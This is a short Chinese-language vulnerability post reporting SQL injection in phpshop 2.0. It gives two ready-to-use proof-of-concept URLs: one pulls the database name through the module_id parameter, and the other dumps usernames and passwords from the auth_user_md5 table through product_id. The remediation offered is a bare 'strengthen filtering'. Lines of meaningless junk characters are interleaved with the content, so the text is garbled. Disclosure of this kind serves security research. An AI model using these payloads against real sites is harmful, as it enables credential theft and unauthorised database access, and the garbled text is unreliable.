phpshop 2.0 SQL注入及修复

admin

标题 : phpshop 2.0 SQL Injection Vulnerability

作者 : By onestree
下载地址 : http://code.google.com/p/phpshop/downloads/list
测试地址: windows 7 / ubuntu


5 {8 I9 U- x0 K; Z1 aSQLi p0c:

2 C( |* h. F" p" c8 H==================
  ?' [3 ]2 H& s8 w
http://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
' [3 l* ^" s$ p' k- g3 N! Qunion select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --
! c7 U9 w, J8 [! y0 J# v
; F- K$ o& G+ Lhttp://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--

修复：
4 @0 ^- Y& F0 |+ M3 ?3 P加强过滤
​
- }  }! F9 F9 N
+ h$ M& F* j. ^3 J$ i4 O